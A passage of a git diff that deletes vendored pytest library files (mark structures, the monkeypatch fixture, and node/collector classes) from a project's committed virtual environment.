list(normalize_mark_list(mark_list)) - - -def normalize_mark_list( - mark_list: Iterable[Mark | MarkDecorator], -) -> Iterable[Mark]: - """ - Normalize an iterable of Mark or MarkDecorator objects into a list of marks - by retrieving the `mark` attribute on MarkDecorator instances. - - :param mark_list: marks to normalize - :returns: A new list of the extracted Mark objects - """ - for mark in mark_list: - mark_obj = getattr(mark, "mark", mark) - if not isinstance(mark_obj, Mark): - raise TypeError(f"got {mark_obj!r} instead of Mark") - yield mark_obj - - -def store_mark(obj, mark: Mark, *, stacklevel: int = 2) -> None: - """Store a Mark on an object. - - This is used to implement the Mark declarations/decorators correctly. - """ - assert isinstance(mark, Mark), mark - - from ..fixtures import getfixturemarker - - if getfixturemarker(obj) is not None: - warnings.warn(MARKED_FIXTURE, stacklevel=stacklevel) - - # Always reassign name to avoid updating pytestmark in a reference that - # was only borrowed. - obj.pytestmark = [*get_unpacked_marks(obj, consider_mro=False), mark] - - -# Typing for builtin pytest marks. This is cheating; it gives builtin marks -# special privilege, and breaks modularity. But practicality beats purity... -if TYPE_CHECKING: - - class _SkipMarkDecorator(MarkDecorator): - @overload # type: ignore[override,no-overload-impl] - def __call__(self, arg: Markable) -> Markable: ... - - @overload - def __call__(self, reason: str = ...) -> MarkDecorator: ... - - class _SkipifMarkDecorator(MarkDecorator): - def __call__( # type: ignore[override] - self, - condition: str | bool = ..., - *conditions: str | bool, - reason: str = ..., - ) -> MarkDecorator: ... - - class _XfailMarkDecorator(MarkDecorator): - @overload # type: ignore[override,no-overload-impl] - def __call__(self, arg: Markable) -> Markable: ... - - @overload - def __call__( - self, - condition: str | bool = False, - *conditions: str | bool, - reason: str = ..., - run: bool = ..., - raises: None | type[BaseException] | tuple[type[BaseException], ...] = ..., - strict: bool = ..., - ) -> MarkDecorator: ... - - class _ParametrizeMarkDecorator(MarkDecorator): - def __call__( # type: ignore[override] - self, - argnames: str | Sequence[str], - argvalues: Iterable[ParameterSet | Sequence[object] | object], - *, - indirect: bool | Sequence[str] = ..., - ids: Iterable[None | str | float | int | bool] - | Callable[[Any], object | None] - | None = ..., - scope: _ScopeName | None = ..., - ) -> MarkDecorator: ... - - class _UsefixturesMarkDecorator(MarkDecorator): - def __call__(self, *fixtures: str) -> MarkDecorator: # type: ignore[override] - ... - - class _FilterwarningsMarkDecorator(MarkDecorator): - def __call__(self, *filters: str) -> MarkDecorator: # type: ignore[override] - ... - - -@final -class MarkGenerator: - """Factory for :class:`MarkDecorator` objects - exposed as - a ``pytest.mark`` singleton instance. - - Example:: - - import pytest - - - @pytest.mark.slowtest - def test_function(): - pass - - applies a 'slowtest' :class:`Mark` on ``test_function``. - """ - - # See TYPE_CHECKING above. - if TYPE_CHECKING: - skip: _SkipMarkDecorator - skipif: _SkipifMarkDecorator - xfail: _XfailMarkDecorator - parametrize: _ParametrizeMarkDecorator - usefixtures: _UsefixturesMarkDecorator - filterwarnings: _FilterwarningsMarkDecorator - - def __init__(self, *, _ispytest: bool = False) -> None: - check_ispytest(_ispytest) - self._config: Config | None = None - self._markers: set[str] = set() - - def __getattr__(self, name: str) -> MarkDecorator: - """Generate a new :class:`MarkDecorator` with the given name.""" - if name[0] == "_": - raise AttributeError("Marker name must NOT start with underscore") - - if self._config is not None: - # We store a set of markers as a performance optimisation - if a mark - # name is in the set we definitely know it, but a mark may be known and - # not in the set. We therefore start by updating the set! - if name not in self._markers: - for line in self._config.getini("markers"): - # example lines: "skipif(condition): skip the given test if..." - # or "hypothesis: tests which use Hypothesis", so to get the - # marker name we split on both `:` and `(`. - marker = line.split(":")[0].split("(")[0].strip() - self._markers.add(marker) - - # If the name is not in the set of known marks after updating, - # then it really is time to issue a warning or an error. - if name not in self._markers: - if self._config.option.strict_markers or self._config.option.strict: - fail( - f"{name!r} not found in `markers` configuration option", - pytrace=False, - ) - - # Raise a specific error for common misspellings of "parametrize". - if name in ["parameterize", "parametrise", "parameterise"]: - __tracebackhide__ = True - fail(f"Unknown '{name}' mark, did you mean 'parametrize'?") - - warnings.warn( - f"Unknown pytest.mark.{name} - is this a typo? You can register " - "custom marks to avoid this warning - for details, see " - "https://docs.pytest.org/en/stable/how-to/mark.html", - PytestUnknownMarkWarning, - 2, - ) - - return MarkDecorator(Mark(name, (), {}, _ispytest=True), _ispytest=True) - - -MARK_GEN = MarkGenerator(_ispytest=True) - - -@final -class NodeKeywords(MutableMapping[str, Any]): - __slots__ = ("node", "parent", "_markers") - - def __init__(self, node: Node) -> None: - self.node = node - self.parent = node.parent - self._markers = {node.name: True} - - def __getitem__(self, key: str) -> Any: - try: - return self._markers[key] - except KeyError: - if self.parent is None: - raise - return self.parent.keywords[key] - - def __setitem__(self, key: str, value: Any) -> None: - self._markers[key] = value - - # Note: we could've avoided explicitly implementing some of the methods - # below and use the collections.abc fallback, but that would be slow. - - def __contains__(self, key: object) -> bool: - return ( - key in self._markers - or self.parent is not None - and key in self.parent.keywords - ) - - def update( # type: ignore[override] - self, - other: Mapping[str, Any] | Iterable[tuple[str, Any]] = (), - **kwds: Any, - ) -> None: - self._markers.update(other) - self._markers.update(kwds) - - def __delitem__(self, key: str) -> None: - raise ValueError("cannot delete key in keywords dict") - - def __iter__(self) -> Iterator[str]: - # Doesn't need to be fast. - yield from self._markers - if self.parent is not None: - for keyword in self.parent.keywords: - # self._marks and self.parent.keywords can have duplicates. - if keyword not in self._markers: - yield keyword - - def __len__(self) -> int: - # Doesn't need to be fast. - return sum(1 for keyword in self) - - def __repr__(self) -> str: - return f"" diff --git a/backend/venv/Lib/site-packages/_pytest/monkeypatch.py b/backend/venv/Lib/site-packages/_pytest/monkeypatch.py deleted file mode 100644 index 75b019a3..00000000 --- a/backend/venv/Lib/site-packages/_pytest/monkeypatch.py +++ /dev/null @@ -1,415 +0,0 @@ -# mypy: allow-untyped-defs -"""Monkeypatching and mocking functionality.""" - -from __future__ import annotations - -from contextlib import contextmanager -import os -import re -import sys -from typing import Any -from typing import final -from typing import Generator -from typing import Mapping -from typing import MutableMapping -from typing import overload -from typing import TypeVar -import warnings - -from _pytest.fixtures import fixture -from _pytest.warning_types import PytestWarning - - -RE_IMPORT_ERROR_NAME = re.compile(r"^No module named (.*)$") - - -K = TypeVar("K") -V = TypeVar("V") - - -@fixture -def monkeypatch() -> Generator[MonkeyPatch, None, None]: - """A convenient fixture for monkey-patching. - - The fixture provides these methods to modify objects, dictionaries, or - :data:`os.environ`: - - * :meth:`monkeypatch.setattr(obj, name, value, raising=True) ` - * :meth:`monkeypatch.delattr(obj, name, raising=True) ` - * :meth:`monkeypatch.setitem(mapping, name, value) ` - * :meth:`monkeypatch.delitem(obj, name, raising=True) ` - * :meth:`monkeypatch.setenv(name, value, prepend=None) ` - * :meth:`monkeypatch.delenv(name, raising=True) ` - * :meth:`monkeypatch.syspath_prepend(path) ` - * :meth:`monkeypatch.chdir(path) ` - * :meth:`monkeypatch.context() ` - - All modifications will be undone after the requesting test function or - fixture has finished. The ``raising`` parameter determines if a :class:`KeyError` - or :class:`AttributeError` will be raised if the set/deletion operation does not have the - specified target. - - To undo modifications done by the fixture in a contained scope, - use :meth:`context() `. - """ - mpatch = MonkeyPatch() - yield mpatch - mpatch.undo() - - -def resolve(name: str) -> object: - # Simplified from zope.dottedname. - parts = name.split(".") - - used = parts.pop(0) - found: object = __import__(used) - for part in parts: - used += "." + part - try: - found = getattr(found, part) - except AttributeError: - pass - else: - continue - # We use explicit un-nesting of the handling block in order - # to avoid nested exceptions. - try: - __import__(used) - except ImportError as ex: - expected = str(ex).split()[-1] - if expected == used: - raise - else: - raise ImportError(f"import error in {used}: {ex}") from ex - found = annotated_getattr(found, part, used) - return found - - -def annotated_getattr(obj: object, name: str, ann: str) -> object: - try: - obj = getattr(obj, name) - except AttributeError as e: - raise AttributeError( - f"{type(obj).__name__!r} object at {ann} has no attribute {name!r}" - ) from e - return obj - - -def derive_importpath(import_path: str, raising: bool) -> tuple[str, object]: - if not isinstance(import_path, str) or "." not in import_path: - raise TypeError(f"must be absolute import path string, not {import_path!r}") - module, attr = import_path.rsplit(".", 1) - target = resolve(module) - if raising: - annotated_getattr(target, attr, ann=module) - return attr, target - - -class Notset: - def __repr__(self) -> str: - return "" - - -notset = Notset() - - -@final -class MonkeyPatch: - """Helper to conveniently monkeypatch attributes/items/environment - variables/syspath. - - Returned by the :fixture:`monkeypatch` fixture. - - .. versionchanged:: 6.2 - Can now also be used directly as `pytest.MonkeyPatch()`, for when - the fixture is not available. In this case, use - :meth:`with MonkeyPatch.context() as mp: ` or remember to call - :meth:`undo` explicitly. - """ - - def __init__(self) -> None: - self._setattr: list[tuple[object, str, object]] = [] - self._setitem: list[tuple[Mapping[Any, Any], object, object]] = [] - self._cwd: str | None = None - self._savesyspath: list[str] | None = None - - @classmethod - @contextmanager - def context(cls) -> Generator[MonkeyPatch, None, None]: - """Context manager that returns a new :class:`MonkeyPatch` object - which undoes any patching done inside the ``with`` block upon exit. - - Example: - - .. code-block:: python - - import functools - - - def test_partial(monkeypatch): - with monkeypatch.context() as m: - m.setattr(functools, "partial", 3) - - Useful in situations where it is desired to undo some patches before the test ends, - such as mocking ``stdlib`` functions that might break pytest itself if mocked (for examples - of this see :issue:`3290`). - """ - m = cls() - try: - yield m - finally: - m.undo() - - @overload - def setattr( - self, - target: str, - name: object, - value: Notset = ..., - raising: bool = ..., - ) -> None: ... - - @overload - def setattr( - self, - target: object, - name: str, - value: object, - raising: bool = ..., - ) -> None: ... - - def setattr( - self, - target: str | object, - name: object | str, - value: object = notset, - raising: bool = True, - ) -> None: - """ - Set attribute value on target, memorizing the old value. - - For example: - - .. code-block:: python - - import os - - monkeypatch.setattr(os, "getcwd", lambda: "/") - - The code above replaces the :func:`os.getcwd` function by a ``lambda`` which - always returns ``"/"``. - - For convenience, you can specify a string as ``target`` which - will be interpreted as a dotted import path, with the last part - being the attribute name: - - .. code-block:: python - - monkeypatch.setattr("os.getcwd", lambda: "/") - - Raises :class:`AttributeError` if the attribute does not exist, unless - ``raising`` is set to False. - - **Where to patch** - - ``monkeypatch.setattr`` works by (temporarily) changing the object that a name points to with another one. - There can be many names pointing to any individual object, so for patching to work you must ensure - that you patch the name used by the system under test. - - See the section :ref:`Where to patch ` in the :mod:`unittest.mock` - docs for a complete explanation, which is meant for :func:`unittest.mock.patch` but - applies to ``monkeypatch.setattr`` as well. - """ - __tracebackhide__ = True - import inspect - - if isinstance(value, Notset): - if not isinstance(target, str): - raise TypeError( - "use setattr(target, name, value) or " - "setattr(target, value) with target being a dotted " - "import string" - ) - value = name - name, target = derive_importpath(target, raising) - else: - if not isinstance(name, str): - raise TypeError( - "use setattr(target, name, value) with name being a string or " - "setattr(target, value) with target being a dotted " - "import string" - ) - - oldval = getattr(target, name, notset) - if raising and oldval is notset: - raise AttributeError(f"{target!r} has no attribute {name!r}") - - # avoid class descriptors like staticmethod/classmethod - if inspect.isclass(target): - oldval = target.__dict__.get(name, notset) - self._setattr.append((target, name, oldval)) - setattr(target, name, value) - - def delattr( - self, - target: object | str, - name: str | Notset = notset, - raising: bool = True, - ) -> None: - """Delete attribute ``name`` from ``target``. - - If no ``name`` is specified and ``target`` is a string - it will be interpreted as a dotted import path with the - last part being the attribute name. - - Raises AttributeError it the attribute does not exist, unless - ``raising`` is set to False. - """ - __tracebackhide__ = True - import inspect - - if isinstance(name, Notset): - if not isinstance(target, str): - raise TypeError( - "use delattr(target, name) or " - "delattr(target) with target being a dotted " - "import string" - ) - name, target = derive_importpath(target, raising) - - if not hasattr(target, name): - if raising: - raise AttributeError(name) - else: - oldval = getattr(target, name, notset) - # Avoid class descriptors like staticmethod/classmethod. - if inspect.isclass(target): - oldval = target.__dict__.get(name, notset) - self._setattr.append((target, name, oldval)) - delattr(target, name) - - def setitem(self, dic: Mapping[K, V], name: K, value: V) -> None: - """Set dictionary entry ``name`` to value.""" - self._setitem.append((dic, name, dic.get(name, notset))) - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - dic[name] = value # type: ignore[index] - - def delitem(self, dic: Mapping[K, V], name: K, raising: bool = True) -> None: - """Delete ``name`` from dict. - - Raises ``KeyError`` if it doesn't exist, unless ``raising`` is set to - False. - """ - if name not in dic: - if raising: - raise KeyError(name) - else: - self._setitem.append((dic, name, dic.get(name, notset))) - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - del dic[name] # type: ignore[attr-defined] - - def setenv(self, name: str, value: str, prepend: str | None = None) -> None: - """Set environment variable ``name`` to ``value``. - - If ``prepend`` is a character, read the current environment variable - value and prepend the ``value`` adjoined with the ``prepend`` - character. - """ - if not isinstance(value, str): - warnings.warn( # type: ignore[unreachable] - PytestWarning( - f"Value of environment variable {name} type should be str, but got " - f"{value!r} (type: {type(value).__name__}); converted to str implicitly" - ), - stacklevel=2, - ) - value = str(value) - if prepend and name in os.environ: - value = value + prepend + os.environ[name] - self.setitem(os.environ, name, value) - - def delenv(self, name: str, raising: bool = True) -> None: - """Delete ``name`` from the environment. - - Raises ``KeyError`` if it does not exist, unless ``raising`` is set to - False. - """ - environ: MutableMapping[str, str] = os.environ - self.delitem(environ, name, raising=raising) - - def syspath_prepend(self, path) -> None: - """Prepend ``path`` to ``sys.path`` list of import locations.""" - if self._savesyspath is None: - self._savesyspath = sys.path[:] - sys.path.insert(0, str(path)) - - # https://github.com/pypa/setuptools/blob/d8b901bc/docs/pkg_resources.txt#L162-L171 - # this is only needed when pkg_resources was already loaded by the namespace package - if "pkg_resources" in sys.modules: - from pkg_resources import fixup_namespace_packages - - fixup_namespace_packages(str(path)) - - # A call to syspathinsert() usually means that the caller wants to - # import some dynamically created files, thus with python3 we - # invalidate its import caches. - # This is especially important when any namespace package is in use, - # since then the mtime based FileFinder cache (that gets created in - # this case already) gets not invalidated when writing the new files - # quickly afterwards. - from importlib import invalidate_caches - - invalidate_caches() - - def chdir(self, path: str | os.PathLike[str]) -> None: - """Change the current working directory to the specified path. - - :param path: - The path to change into. - """ - if self._cwd is None: - self._cwd = os.getcwd() - os.chdir(path) - - def undo(self) -> None: - """Undo previous changes. - - This call consumes the undo stack. Calling it a second time has no - effect unless you do more monkeypatching after the undo call. - - There is generally no need to call `undo()`, since it is - called automatically during tear-down. - - .. note:: - The same `monkeypatch` fixture is used across a - single test function invocation. If `monkeypatch` is used both by - the test function itself and one of the test fixtures, - calling `undo()` will undo all of the changes made in - both functions. - - Prefer to use :meth:`context() ` instead. - """ - for obj, name, value in reversed(self._setattr): - if value is not notset: - setattr(obj, name, value) - else: - delattr(obj, name) - self._setattr[:] = [] - for dictionary, key, value in reversed(self._setitem): - if value is notset: - try: - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - del dictionary[key] # type: ignore[attr-defined] - except KeyError: - pass # Was already deleted, so we have the desired state. - else: - # Not all Mapping types support indexing, but MutableMapping doesn't support TypedDict - dictionary[key] = value # type: ignore[index] - self._setitem[:] = [] - if self._savesyspath is not None: - sys.path[:] = self._savesyspath - self._savesyspath = None - - if self._cwd is not None: - os.chdir(self._cwd) - self._cwd = None diff --git a/backend/venv/Lib/site-packages/_pytest/nodes.py b/backend/venv/Lib/site-packages/_pytest/nodes.py deleted file mode 100644 index bbde2664..00000000 --- a/backend/venv/Lib/site-packages/_pytest/nodes.py +++ /dev/null @@ -1,766 +0,0 @@ -# mypy: allow-untyped-defs -from __future__ import annotations - -import abc -from functools import cached_property -from inspect import signature -import os -import pathlib -from pathlib import Path -from typing import Any -from typing import Callable -from typing import cast -from typing import Iterable -from typing import Iterator -from typing import MutableMapping -from typing import NoReturn -from typing import overload -from typing import TYPE_CHECKING -from typing import TypeVar -import warnings - -import pluggy - -import _pytest._code -from _pytest._code import getfslineno -from _pytest._code.code import ExceptionInfo -from _pytest._code.code import TerminalRepr -from _pytest._code.code import Traceback -from _pytest._code.code import TracebackStyle -from _pytest.compat import LEGACY_PATH -from _pytest.config import Config -from _pytest.config import ConftestImportFailure -from _pytest.config.compat import _check_path -from _pytest.deprecated import NODE_CTOR_FSPATH_ARG -from _pytest.mark.structures import Mark -from _pytest.mark.structures import MarkDecorator -from _pytest.mark.structures import NodeKeywords -from _pytest.outcomes import fail -from _pytest.pathlib import absolutepath -from _pytest.pathlib import commonpath -from _pytest.stash import Stash -from _pytest.warning_types import PytestWarning - - -if TYPE_CHECKING: - from typing import Self - - # Imported here due to circular import. - from _pytest.main import Session - - -SEP = "/" - -tracebackcutdir = Path(_pytest.__file__).parent - - -_T = TypeVar("_T") - - -def _imply_path( - node_type: type[Node], - path: Path | None, - fspath: LEGACY_PATH | None, -) -> Path: - if fspath is not None: - warnings.warn( - NODE_CTOR_FSPATH_ARG.format( - node_type_name=node_type.__name__, - ), - stacklevel=6, - ) - if path is not None: - if fspath is not None: - _check_path(path, fspath) - return path - else: - assert fspath is not None - return Path(fspath) - - -_NodeType = TypeVar("_NodeType", bound="Node") - - -class NodeMeta(abc.ABCMeta): - """Metaclass used by :class:`Node` to enforce that direct construction raises - :class:`Failed`. - - This behaviour supports the indirection introduced with :meth:`Node.from_parent`, - the named constructor to be used instead of direct construction. The design - decision to enforce indirection with :class:`NodeMeta` was made as a - temporary aid for refactoring the collection tree, which was diagnosed to - have :class:`Node` objects whose creational patterns were overly entangled. - Once the refactoring is complete, this metaclass can be removed. - - See https://github.com/pytest-dev/pytest/projects/3 for an overview of the - progress on detangling the :class:`Node` classes. - """ - - def __call__(cls, *k, **kw) -> NoReturn: - msg = ( - "Direct construction of {name} has been deprecated, please use {name}.from_parent.\n" - "See " - "https://docs.pytest.org/en/stable/deprecations.html#node-construction-changed-to-node-from-parent" - " for more details." - ).format(name=f"{cls.__module__}.{cls.__name__}") - fail(msg, pytrace=False) - - def _create(cls: type[_T], *k, **kw) -> _T: - try: - return super().__call__(*k, **kw) # type: ignore[no-any-return,misc] - except TypeError: - sig = signature(getattr(cls, "__init__")) - known_kw = {k: v for k, v in kw.items() if k in sig.parameters} - from .warning_types import PytestDeprecationWarning - - warnings.warn( - PytestDeprecationWarning( - f"{cls} is not using a cooperative constructor and only takes {set(known_kw)}.\n" - "See https://docs.pytest.org/en/stable/deprecations.html" - "#constructors-of-custom-pytest-node-subclasses-should-take-kwargs " - "for more details." - ) - ) - - return super().__call__(*k, **known_kw) # type: ignore[no-any-return,misc] - - -class Node(abc.ABC, metaclass=NodeMeta): - r"""Base class of :class:`Collector` and :class:`Item`, the components of - the test collection tree. - - ``Collector``\'s are the internal nodes of the tree, and ``Item``\'s are the - leaf nodes. - """ - - # Implemented in the legacypath plugin. - #: A ``LEGACY_PATH`` copy of the :attr:`path` attribute. Intended for usage - #: for methods not migrated to ``pathlib.Path`` yet, such as - #: :meth:`Item.reportinfo `. Will be deprecated in - #: a future release, prefer using :attr:`path` instead. - fspath: LEGACY_PATH - - # Use __slots__ to make attribute access faster. - # Note that __dict__ is still available. - __slots__ = ( - "name", - "parent", - "config", - "session", - "path", - "_nodeid", - "_store", - "__dict__", - ) - - def __init__( - self, - name: str, - parent: Node | None = None, - config: Config | None = None, - session: Session | None = None, - fspath: LEGACY_PATH | None = None, - path: Path | None = None, - nodeid: str | None = None, - ) -> None: - #: A unique name within the scope of the parent node. - self.name: str = name - - #: The parent collector node. - self.parent = parent - - if config: - #: The pytest config object. - self.config: Config = config - else: - if not parent: - raise TypeError("config or parent must be provided") - self.config = parent.config - - if session: - #: The pytest session this node is part of. - self.session: Session = session - else: - if not parent: - raise TypeError("session or parent must be provided") - self.session = parent.session - - if path is None and fspath is None: - path = getattr(parent, "path", None) - #: Filesystem path where this node was collected from (can be None). - self.path: pathlib.Path = _imply_path(type(self), path, fspath=fspath) - - # The explicit annotation is to avoid publicly exposing NodeKeywords. - #: Keywords/markers collected from all scopes. - self.keywords: MutableMapping[str, Any] = NodeKeywords(self) - - #: The marker objects belonging to this node. - self.own_markers: list[Mark] = [] - - #: Allow adding of extra keywords to use for matching. - self.extra_keyword_matches: set[str] = set() - - if nodeid is not None: - assert "::()" not in nodeid - self._nodeid = nodeid - else: - if not self.parent: - raise TypeError("nodeid or parent must be provided") - self._nodeid = self.parent.nodeid + "::" + self.name - - #: A place where plugins can store information on the node for their - #: own use. - self.stash: Stash = Stash() - # Deprecated alias. Was never public. Can be removed in a few releases. - self._store = self.stash - - @classmethod - def from_parent(cls, parent: Node, **kw) -> Self: - """Public constructor for Nodes. - - This indirection got introduced in order to enable removing - the fragile logic from the node constructors. - - Subclasses can use ``super().from_parent(...)`` when overriding the - construction. - - :param parent: The parent node of this Node. - """ - if "config" in kw: - raise TypeError("config is not a valid argument for from_parent") - if "session" in kw: - raise TypeError("session is not a valid argument for from_parent") - return cls._create(parent=parent, **kw) - - @property - def ihook(self) -> pluggy.HookRelay: - """fspath-sensitive hook proxy used to call pytest hooks.""" - return self.session.gethookproxy(self.path) - - def __repr__(self) -> str: - return "<{} {}>".format(self.__class__.__name__, getattr(self, "name", None)) - - def warn(self, warning: Warning) -> None: - """Issue a warning for this Node. - - Warnings will be displayed after the test session, unless explicitly suppressed. - - :param Warning warning: - The warning instance to issue. - - :raises ValueError: If ``warning`` instance is not a subclass of Warning. - - Example usage: - - .. code-block:: python - - node.warn(PytestWarning("some message")) - node.warn(UserWarning("some message")) - - .. versionchanged:: 6.2 - Any subclass of :class:`Warning` is now accepted, rather than only - :class:`PytestWarning ` subclasses. - """ - # enforce type checks here to avoid getting a generic type error later otherwise. - if not isinstance(warning, Warning): - raise ValueError( - f"warning must be an instance of Warning or subclass, got {warning!r}" - ) - path, lineno = get_fslocation_from_item(self) - assert lineno is not None - warnings.warn_explicit( - warning, - category=None, - filename=str(path), - lineno=lineno + 1, - ) - - # Methods for ordering nodes. - - @property - def nodeid(self) -> str: - """A ::-separated string denoting its collection tree address.""" - return self._nodeid - - def __hash__(self) -> int: - return hash(self._nodeid) - - def setup(self) -> None: - pass - - def teardown(self) -> None: - pass - - def iter_parents(self) -> Iterator[Node]: - """Iterate over all parent collectors starting from and including self - up to the root of the collection tree. - - .. versionadded:: 8.1 - """ - parent: Node | None = self - while parent is not None: - yield parent - parent = parent.parent - - def listchain(self) -> list[Node]: - """Return a list of all parent collectors starting from the root of the - collection tree down to and including self.""" - chain = [] - item: Node | None = self - while item is not None: - chain.append(item) - item = item.parent - chain.reverse() - return chain - - def add_marker(self, marker: str | MarkDecorator, append: bool = True) -> None: - """Dynamically add a marker object to the node. - - :param marker: - The marker. - :param append: - Whether to append the marker, or prepend it. - """ - from _pytest.mark import MARK_GEN - - if isinstance(marker, MarkDecorator): - marker_ = marker - elif isinstance(marker, str): - marker_ = getattr(MARK_GEN, marker) - else: - raise ValueError("is not a string or pytest.mark.* Marker") - self.keywords[marker_.name] = marker_ - if append: - self.own_markers.append(marker_.mark) - else: - self.own_markers.insert(0, marker_.mark) - - def iter_markers(self, name: str | None = None) -> Iterator[Mark]: - """Iterate over all markers of the node. - - :param name: If given, filter the results by the name attribute. - :returns: An iterator of the markers of the node. - """ - return (x[1] for x in self.iter_markers_with_node(name=name)) - - def iter_markers_with_node( - self, name: str | None = None - ) -> Iterator[tuple[Node, Mark]]: - """Iterate over all markers of the node. - - :param name: If given, filter the results by the name attribute. - :returns: An iterator of (node, mark) tuples. - """ - for node in self.iter_parents(): - for mark in node.own_markers: - if name is None or getattr(mark, "name", None) == name: - yield node, mark - - @overload - def get_closest_marker(self, name: str) -> Mark | None: ... - - @overload - def get_closest_marker(self, name: str, default: Mark) -> Mark: ... - - def get_closest_marker(self, name: str, default: Mark | None = None) -> Mark | None: - """Return the first marker matching the name, from closest (for - example function) to farther level (for example module level). - - :param default: Fallback return value if no marker was found. - :param name: Name to filter by. - """ - return next(self.iter_markers(name=name), default) - - def listextrakeywords(self) -> set[str]: - """Return a set of all extra keywords in self and any parents.""" - extra_keywords: set[str] = set() - for item in self.listchain(): - extra_keywords.update(item.extra_keyword_matches) - return extra_keywords - - def listnames(self) -> list[str]: - return [x.name for x in self.listchain()] - - def addfinalizer(self, fin: Callable[[], object]) -> None: - """Register a function to be called without arguments when this node is - finalized. - - This method can only be called when this node is active - in a setup chain, for example during self.setup(). - """ - self.session._setupstate.addfinalizer(fin, self) - - def getparent(self, cls: type[_NodeType]) -> _NodeType | None: - """Get the closest parent node (including self) which is an instance of - the given class. - - :param cls: The node class to search for. - :returns: The node, if found. - """ - for node in self.iter_parents(): - if isinstance(node, cls): - return node - return None - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - return excinfo.traceback - - def _repr_failure_py( - self, - excinfo: ExceptionInfo[BaseException], - style: TracebackStyle | None = None, - ) -> TerminalRepr: - from _pytest.fixtures import FixtureLookupError - - if isinstance(excinfo.value, ConftestImportFailure): - excinfo = ExceptionInfo.from_exception(excinfo.value.cause) - if isinstance(excinfo.value, fail.Exception): - if not excinfo.value.pytrace: - style = "value" - if isinstance(excinfo.value, FixtureLookupError): - return excinfo.value.formatrepr() - - tbfilter: bool | Callable[[ExceptionInfo[BaseException]], Traceback] - if self.config.getoption("fulltrace", False): - style = "long" - tbfilter = False - else: - tbfilter = self._traceback_filter - if style == "auto": - style = "long" - # XXX should excinfo.getrepr record all data and toterminal() process it? - if style is None: - if self.config.getoption("tbstyle", "auto") == "short": - style = "short" - else: - style = "long" - - if self.config.getoption("verbose", 0) > 1: - truncate_locals = False - else: - truncate_locals = True - - truncate_args = False if self.config.getoption("verbose", 0) > 2 else True - - # excinfo.getrepr() formats paths relative to the CWD if `abspath` is False. - # It is possible for a fixture/test to change the CWD while this code runs, which - # would then result in the user seeing confusing paths in the failure message. - # To fix this, if the CWD changed, always display the full absolute path. - # It will be better to just always display paths relative to invocation_dir, but - # this requires a lot of plumbing (#6428). - try: - abspath = Path(os.getcwd()) != self.config.invocation_params.dir - except OSError: - abspath = True - - return excinfo.getrepr( - funcargs=True, - abspath=abspath, - showlocals=self.config.getoption("showlocals", False), - style=style, - tbfilter=tbfilter, - truncate_locals=truncate_locals, - truncate_args=truncate_args, - ) - - def repr_failure( - self, - excinfo: ExceptionInfo[BaseException], - style: TracebackStyle | None = None, - ) -> str | TerminalRepr: - """Return a representation of a collection or test failure. - - .. seealso:: :ref:`non-python tests` - - :param excinfo: Exception information for the failure. - """ - return self._repr_failure_py(excinfo, style) - - -def get_fslocation_from_item(node: Node) -> tuple[str | Path, int | None]: - """Try to extract the actual location from a node, depending on available attributes: - - * "location": a pair (path, lineno) - * "obj": a Python object that the node wraps. - * "path": just a path - - :rtype: A tuple of (str|Path, int) with filename and 0-based line number. - """ - # See Item.location. - location: tuple[str, int | None, str] | None = getattr(node, "location", None) - if location is not None: - return location[:2] - obj = getattr(node, "obj", None) - if obj is not None: - return getfslineno(obj) - return getattr(node, "path", "unknown location"), -1 - - -class Collector(Node, abc.ABC): - """Base class of all collectors. - - Collector create children through `collect()` and thus iteratively build - the collection tree. - """ - - class CollectError(Exception): - """An error during collection, contains a custom message.""" - - @abc.abstractmethod - def collect(self) -> Iterable[Item | Collector]: - """Collect children (items and collectors) for this collector.""" - raise NotImplementedError("abstract") - - # TODO: This omits the style= parameter which breaks Liskov Substitution. - def repr_failure( # type: ignore[override] - self, excinfo: ExceptionInfo[BaseException] - ) -> str | TerminalRepr: - """Return a representation of a collection failure. - - :param excinfo: Exception information for the failure. - """ - if isinstance(excinfo.value, self.CollectError) and not self.config.getoption( - "fulltrace", False - ): - exc = excinfo.value - return str(exc.args[0]) - - # Respect explicit tbstyle option, but default to "short" - # (_repr_failure_py uses "long" with "fulltrace" option always). - tbstyle = self.config.getoption("tbstyle", "auto") - if tbstyle == "auto": - tbstyle = "short" - - return self._repr_failure_py(excinfo, style=tbstyle) - - def _traceback_filter(self, excinfo: ExceptionInfo[BaseException]) -> Traceback: - if hasattr(self, "path"): - traceback = excinfo.traceback - ntraceback = traceback.cut(path=self.path) - if ntraceback == traceback: - ntraceback = ntraceback.cut(excludepath=tracebackcutdir) - return ntraceback.filter(excinfo) - return excinfo.traceback - - -def _check_initialpaths_for_relpath(session: Session, path: Path) -> str | None: - for initial_path in session._initialpaths: - if commonpath(path, initial_path) == initial_path: - rel = str(path.relative_to(initial_path)) - return "" if rel == "." else rel - return None - - -class FSCollector(Collector, abc.ABC): - """Base class for filesystem collectors.""" - - def __init__( - self, - fspath: LEGACY_PATH | None = None, - path_or_parent: Path | Node | None = None, - path: Path | None = None, - name: str | None = None, - parent: Node | None = None, - config: Config | None = None, - session: Session | None = None, - nodeid: str | None = None, - ) -> None: - if path_or_parent: - if isinstance(path_or_parent, Node): - assert parent is None - parent = cast(FSCollector, path_or_parent) - elif isinstance(path_or_parent, Path): - assert path is None - path = path_or_parent - - path = _imply_path(type(self), path, fspath=fspath) - if name is None: - name = path.name - if parent is not None and parent.path != path: - try: - rel = path.relative_to(parent.path) - except ValueError: - pass - else: - name = str(rel) - name = name.replace(os.sep, SEP) - self.path = path - - if session is None: - assert parent is not None - session = parent.session - - if nodeid is None: - try: - nodeid = str(self.path.relative_to(session.config.rootpath)) - except ValueError: - nodeid = _check_initialpaths_for_relpath(session, path) - - if nodeid and os.sep != SEP: - nodeid = nodeid.replace(os.sep, SEP) - - super().__init__( - name=name, - parent=parent, - config=config, - session=session, - nodeid=nodeid, - path=path, - ) - - @classmethod - def from_parent( - cls, - parent, - *, - fspath: LEGACY_PATH | None = None, - path: Path | None = None, - **kw, - ) -> Self: - """The public constructor.""" - return super().from_parent(parent=parent, fspath=fspath, path=path, **kw) - - -class File(FSCollector, abc.ABC): - """Base class for collecting tests from a file. - - :ref:`non-python tests`. - """ - - -class Directory(FSCollector, abc.ABC): - """Base class for collecting files from a directory. - - A basic directory collector does the following: goes over the files and - sub-directories in the directory and creates collectors for them by calling - the hooks :hook:`pytest_collect_directory` and :hook:`pytest_collect_file`, - after checking 